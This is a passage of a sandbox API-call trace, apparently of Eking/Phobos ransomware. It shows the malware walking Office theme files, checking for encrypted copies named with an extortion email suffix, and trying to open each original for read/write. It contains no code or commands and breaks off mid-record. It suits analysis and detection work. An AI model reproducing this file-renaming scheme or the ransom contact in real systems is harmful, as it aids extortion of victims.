Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.111] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=462) returned 1 [0174.111] CloseHandle (hObject=0x1e8) returned 1 [0174.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf")) returned 0x20 [0174.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf")) returned 0x20 [0174.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.112] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2476) returned 1 [0174.112] CloseHandle (hObject=0x1e8) returned 1 [0174.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0174.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0174.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.113] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=19485) returned 1 [0174.113] CloseHandle (hObject=0x1e8) returned 1 [0174.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0174.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0174.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.115] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=47666) returned 1 [0174.115] CloseHandle (hObject=0x1e8) returned 1 [0174.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm")) returned 0x20 [0174.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm")) returned 0x20 [0174.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.116] SetEvent (hEvent=0x174) returned 1 [0174.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.117] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=499) returned 1 [0174.117] CloseHandle (hObject=0x1e8) returned 1 [0174.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf")) returned 0x20 [0174.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf")) returned 0x20 [0174.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.118] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1232) returned 1 [0174.118] CloseHandle (hObject=0x1e8) returned 1 [0174.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0174.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0174.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.119] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=18413) returned 1 [0174.119] CloseHandle (hObject=0x1e8) returned 1 [0174.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0174.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0174.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.120] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=59203) returned 1 [0174.120] CloseHandle (hObject=0x1e8) returned 1 [0174.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm")) returned 0x20 [0174.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm")) returned 0x20 [0174.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.122] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=533) returned 1 [0174.122] CloseHandle (hObject=0x1e8) returned 1 [0174.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf")) returned 0x20 [0174.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf")) returned 0x20 [0174.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.123] SetEvent (hEvent=0x174) returned 1 [0174.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.123] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1659) returned 1 [0174.123] CloseHandle (hObject=0x1e8) returned 1 [0174.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0174.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0174.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.280] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=44850) returned 1 [0174.280] CloseHandle (hObject=0x1e4) returned 1 [0174.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0174.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0174.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.281] SetEvent (hEvent=0x174) returned 1 [0174.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.477] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=526) returned 1 [0174.477] CloseHandle (hObject=0x1e4) returned 1 [0174.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf")) returned 0x20 [0174.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf")) returned 0x20 [0174.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.478] SetEvent (hEvent=0x174) returned 1 [0174.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0174.480] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=586) returned 1 [0174.480] CloseHandle (hObject=0x1f0) returned 1 [0174.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf")) returned 0x20 [0174.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf")) returned 0x20 [0174.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.481] SetEvent (hEvent=0x174) returned 1 [0174.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0174.482] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15737) returned 1 [0174.482] CloseHandle (hObject=0x1f0) returned 1 [0174.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0174.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0174.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.486] SetEvent (hEvent=0x174) returned 1 [0174.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0174.487] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3970) returned 1 [0174.487] CloseHandle (hObject=0x1f0) returned 1 [0174.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0174.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0174.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.488] SetEvent (hEvent=0x174) returned 1 [0174.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.870] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: 